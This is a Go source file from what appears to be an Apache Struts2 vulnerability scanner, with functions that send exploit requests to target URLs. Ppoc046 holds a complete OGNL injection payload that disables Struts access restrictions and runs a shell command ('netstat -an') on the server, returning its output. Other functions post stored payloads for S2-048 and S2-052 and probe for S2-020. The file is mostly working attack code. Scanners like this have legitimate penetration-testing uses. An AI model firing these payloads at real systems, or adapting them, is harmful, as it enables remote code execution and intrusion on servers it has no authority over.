package VulnerabilityScanner

import (
	gc "Struts2Scanner/concurrentTask/getClient"
	"Struts2Scanner/funcs"
	"Struts2Scanner/vars"
	"bytes"
	"fmt"
	"io"
	"io/ioutil"
	"mime/multipart"
	"net/http"
	"net/url"
	"strings"
)

func Ppoc(poc, url string, header map[string]string) string {
	client := gc.GetClient()
	req, err := http.NewRequest("POST", url,strings.NewReader(poc))
	if err != nil {
		return ""
	}
	req.Header.Add("User-Agent", header["User-Agent"])
	req.Header.Add("Accept", header["Accept"])
	req.Header.Add("Content-Type", header["Content-Type"])

	reqs, err := (*client).Do(req)
	if err != nil {
		return ""
	}

	defer reqs.Body.Close()
	body, _ := ioutil.ReadAll(reqs.Body)
	return string(body)
}

func Ppoc048(s string, header map[string]string) string {
	client := gc.GetClient()
	data := make(url.Values)
	data.Add("name", vars.Poc["ST2_048"])
	data.Add("age", "1")
	data.Add("__checkbox_bustedBefore", "true")
	data.Add("description", "1")

	urll, _ := url.Parse(s)
	target := urll.Scheme + "://" + urll.Host + "/struts2-showcase/integration/saveGangster.action"
	req, err := http.NewRequest("POST", target, strings.NewReader(data.Encode()))
	if err != nil {
		return ""
	}

	req.Header.Add("User-Agent", header["User-Agent"])
	req.Header.Add("Accept", header["Accept"])
	req.Header.Add("Content-Type", header["Content-Type"])

	reqs, err := (*client).Do(req)
	if err != nil {
		return ""
	}
	defer reqs.Body.Close()
	body, _ := ioutil.ReadAll(reqs.Body)
	return string(body)
}

func Ppoc046(url string, header map[string]string) string {
	client := gc.GetClient()
	file := "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='netstat -an').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\\x000"
	bodyBuf := &bytes.Buffer{}
	bodyWriter := multipart.NewWriter(bodyBuf)
	filename := "test"
	fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename)
	if err != nil {
		return ""
	}
	_, err = io.Copy(fileWriter, strings.NewReader(file))
	if err != nil {
		return ""
	}
	contentType := bodyWriter.FormDataContentType()
	bodyWriter.Close()
	req, err := http.NewRequest("POST", url, bodyBuf)
	if err != nil {
		return ""
	}

	req.Header.Add("User-Agent", header["User-Agent"])
	req.Header.Add("Content-Type", contentType)

	reqs, errs := (*client).Do(req)
	if errs != nil {
		return ""
	}
	defer reqs.Body.Close()
	body, _ := ioutil.ReadAll(reqs.Body)
	return string(body)
}

func Ppoc020(url string, header map[string]string) string {
	client := gc.GetClient()
	req1, err := http.NewRequest("GET", url+"?class[%27classLoader%27][%27jarPath%27]=1", nil)
	if err != nil {
		return ""
	}
	req1.Header.Add("User-Agent", header["User-Agent"])
	req1.Header.Add("Accept", header["Accept"])
	req1.Header.Add("Content-Type", header["Content-Type"])
	reqs1, err := (*client).Do(req1)
	if err != nil {
		return ""
	}

	req2, err :=http.NewRequest("GET", url+"?class[%27classLoader%27][%27resources%27]=1", nil)
	if err != nil {
		return ""
	}
	req2.Header.Add("User-Agent", header["User-Agent"])
	req2.Header.Add("Accept", header["Accept"])
	req2.Header.Add("Content-Type", header["Content-Type"])
	reqs2, err := (*client).Do(req2)
	if err != nil {
		return ""
	}

	if reqs1.StatusCode == 200 && reqs2.StatusCode == 404 {
		fmt.Printf("\033[1;31m%s\033[0m\n","[+]Windows目标" + url + "存在struts2-020漏洞（暂无POC）")
		funcs.AddHistory(url+" find struts2-020 successfully\n")
	}
	return ""
}

func Ppoc052(url string, header map[string]string) string {
	client := gc.GetClient()
	req, err := http.NewRequest("POST", url, strings.NewReader(vars.Poc["ST2_052"]))
	if err != nil {
		return ""
	}
	req.Header.Add("User-Agent", header["User-Agent"])
	req.Header.Add("Accept", header["Accept"])
	req.Header.Add("Content-Type", header["Content-Type"])

	reqs, err := (*client).Do(req)
	if err != nil {
		return ""
	}
	body, _ := ioutil.ReadAll(reqs.Body)
	defer reqs.Body.Close()
	if reqs.StatusCode == 500 &&  strings.Contains(string(body), "java.security.Provider$Service") == true{
		fmt.Printf("\033[1;31m%s\033[0m\n","[+]" + url + "struts2-052检测成功（暂无可用POC，可参考MSF的struts2_rest_xstream模块）：")
		funcs.AddHistory(url+" find struts2-052 successfully\n")
	}
	return ""
}